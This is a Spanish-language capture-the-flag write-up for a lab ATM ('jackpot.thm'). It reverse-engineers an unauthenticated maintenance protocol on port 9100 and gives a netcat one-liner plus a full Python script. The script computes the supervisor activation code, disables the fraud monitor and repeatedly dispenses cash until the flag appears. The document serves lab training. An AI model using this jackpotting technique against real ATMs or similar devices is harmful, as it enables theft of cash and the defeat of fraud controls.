Introduction

Sin tarjeta. Sin PIN. Sin transacción. Enséñale a la máquina a vaciarse por sí misma.
Un cajero automático de la sucursal de "Earth's National Bank" ha sido desconectado de la red para un análisis forense tras una serie de dispensaciones de efectivo inexplicables. La interfaz de mantenimiento que ofrece estaba destinada únicamente a los ingenieros conectados a la red local (LAN) de la sucursal, pero quedó accesible y utiliza el lenguaje de hardware nativo de la máquina sin ninguna autenticación que pueda considerarse como tal.
Al dispensador de efectivo no le importan las tarjetas, los PIN ni las transacciones; solo le interesa recibir órdenes de algo que domine su protocolo. Analiza la terminal expuesta, descubre cómo se comunica su software con el hardware y comprueba si logras convencerlo para que vacíe todos los cartuchos de efectivo.
Getting the Flags
Reconocimiento Inicial
Comenzamos escaneando los puertos abiertos.

Ahora analizamos dichos puertos más en profundidad.

Vamos a ver qué directorios puede contener.
Profundización
Vamos a ver cómo es la web.

Vamos a mirar en los directorios encontrados. Todos muestran lo mismo:

Ahora vamos a descargarnos la herramienta de servicio.

Nos da un código de activación para el modo supervisor. Al no ver nada, vamos a abrir burpsuite para investigar. No encontramos nada más allá de poder modificar las respuestas del servidor, pero las validaciones no se hacen en el cliente, por lo que descartamos este camino. Vamos a probar a conectarnos al otro puerto que habíamos visto.

Podemos ver cosas interesantes, vamos a hacer una lista:
- Formato de petición:
- Tipo de mensaje (1 B)
- Comando (4 B)
- Longitud de los datos extra (X B)
- Datos extra correspondientes a la longitud
- Formato de la respuesta:
- Longitud de la respuesta (X B)
- Respuesta en JSON
- Tipos de mensaje y su hex:
GETINFOEXECUTE- Pista para obtener todos los comandos.
Así que vamos a hacer eso mismo, obtener todos los comandos. El mensaje quedaría tal que así:
\x01\x00\x00\x03\x04\x00\x00
Por lo que para mandarlo:
printf "\x01\x00\x00\x03\x04\x00\x00" | nc jackpot.thm 9100
Explotación
Vamos a realizar las pruebas pertinentes. Primero vemos el status y luego intentamos sacar dinero.

Tenemos que activar el modo supervisor.

Ahora si. Sin embargo, si intentamos sacar más dinero:

Bloquea el cajero y cambia el Nonce. Además, podemos desactivar el modo de monitorización con uno de los comandos.

Sabiendo todo esto, vamos a crear un script que:
- Recupere el Nonce de
http://jackpot.thm:8080/status - Utilice el script que descargamos para conseguir el código de activación del modo supervisión.
- Envíe el código.
- Desactive el modo de monitorización.
- Extraiga los billetes que queden (con un máximo de 40 por transacción).
- Pare cuando detecte que el atributo
flag_releasedseatrue.
#!/usr/bin/env python3 import socket import struct import json import time import subprocess # Configuraciones de red TCP_HOST = "jackpot.thm" TCP_PORT = 9100 def calcular_codigo_activacion(nonce): """Llama al binario local ./jackpot pasándole el nonce y extrae el activation code.""" try: result = subprocess.run(['./jackpot', str(nonce)], capture_output=True, text=True, check=True) for line in result.stdout.splitlines(): if "activation code:" in line: return line.split(":")[-1].strip() except Exception as e: print(f"[-] Error ejecutar ./jackpot: {e}") return None def comunicarse_con_cajero(msg_type, command_id, data_bytes=b""): """Envía una estructura binaria al puerto 9100 del cajero y devuelve la respuesta JSON limpia.""" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TCP_HOST, TCP_PORT)) # Descartar el banner de bienvenida inicial s.recv(1024) # Estructura binaria: 1 byte msg_type + 4 bytes command + 2 bytes length length = len(data_bytes) header = struct.pack("!B I H", msg_type, command_id, length) payload = header + data_bytes s.sendall(payload) # Leer longitud de respuesta (2 bytes) y JSON len_bytes = s.recv(2) if not len_bytes: return None res_len = struct.unpack("!H", len_bytes)[0] response_data = s.recv(res_len).decode('utf-8', errors='ignore') s.close() return json.loads(response_data) except Exception as e: print(f"[-] Error de comunicación TCP en comando {hex(command_id)}: {e}") return None def ejecutar_ciclo_extraccion(): print("[*] Iniciando ciclo de análisis...") # 1. Obtener el estado actual del dispositivo (Comando GETINFO 0x301) status_res = comunicarse_con_cajero(0x01, 0x0301) if not status_res or 'status' not in status_res: print("[-] No se pudo recuperar el estado actual.") return False status = status_res['status'] # Comprobar si se ha liberado la bandera esperada if status.get('flag_released') is True: print("\n[+] ¡ÉXITO! flag_released es TRUE.") print(f"[+] Estado final del cajero: {status}") return True # Si está bloqueado temporalmente por anomalías previas, se debe esperar if status.get('locked') is True: wait_time = status.get('lock_remaining', 10) print(f"[!] El cajero está bloqueado temporalmente. Esperando {wait_time} segundos...") time.sleep(wait_time + 2) return False # 2. Identificar qué cassette tiene billetes disponibles target_cassette = None count_to_extract = 0 for c in status['cassettes']: if c['count'] > 0: target_cassette = c['id'] count_to_extract = min(c['count'], 40) break if not target_cassette: print("[*] Todos los cassettes reportan 0 billetes. Comprobando estado de la flag...") time.sleep(2) return False # 3. Obtener el Nonce actual directamente del estado del cajero nonce = status.get('nonce') print(f"[+] Utilizando Session Nonce actual: {nonce}") act_code = calcular_codigo_activacion(nonce) if not act_code: print("[-] Fallo en el cálculo del código de activación.") return False print(f"[+] Código de activación generado: {act_code}") # 4. Autorizar la sesión pasando al modo supervisor (Comando EXECUTE 0x4f0) print("[*] Enviando comando de Armado de modo Supervisor...") arm_res = comunicarse_con_cajero(0x02, 0x04f0, act_code.encode('utf-8')) if not arm_res or arm_res.get('rc') != "WFS_SUCCESS": print(f"[-] Fallo al pasar al modo supervisor: {arm_res}") time.sleep(2) return False # 5. Apagar el monitor de fraude antes de dispensar (Comando EXECUTE 0x4f1) print("[*] Desactivando monitor de fraude (WFS_CMD_CDM_SET_MONITOR)...") monitor_res = comunicarse_con_cajero(0x02, 0x04f1, b"off") print(f"[o] Respuesta del monitor: {monitor_res}") # 6. ENVIAR ORDEN DE RETIRO INCLUYENDO EL ID DE TRANSACCIÓN (NONCE) # Agregamos "transaction_id" al JSON usando el nonce dinámico para evitar el bloqueo automático payload_dict = { "id": target_cassette, "count": count_to_extract, "transaction_id": int(nonce) } dispense_payload = json.dumps(payload_dict).encode('utf-8') print(f"[+] Extrayendo {count_to_extract} billetes del compartimento {target_cassette} con TxID {nonce}...") dispense_res = comunicarse_con_cajero(0x02, 0x0401, dispense_payload) print(f"[o] Respuesta del cajero: {dispense_res}") print("[*] Transacción completada. Dando una pequeña pausa para refresco físico...\n") time.sleep(2) return False if __name__ == "__main__": completado = False while not completado: try: completado = ejecutar_ciclo_extraccion() except KeyboardInterrupt: print("\n[-] Proceso interrumpido manualmente.") break except Exception as e: print(f"[-] Ocurrió una anomalía durante la iteración: {e}") time.sleep(2)
Lo ejecutamos y:

Ahora vamos a leer la flag:

Hemos conseguido sacar todo el dinero y obtener la flag.


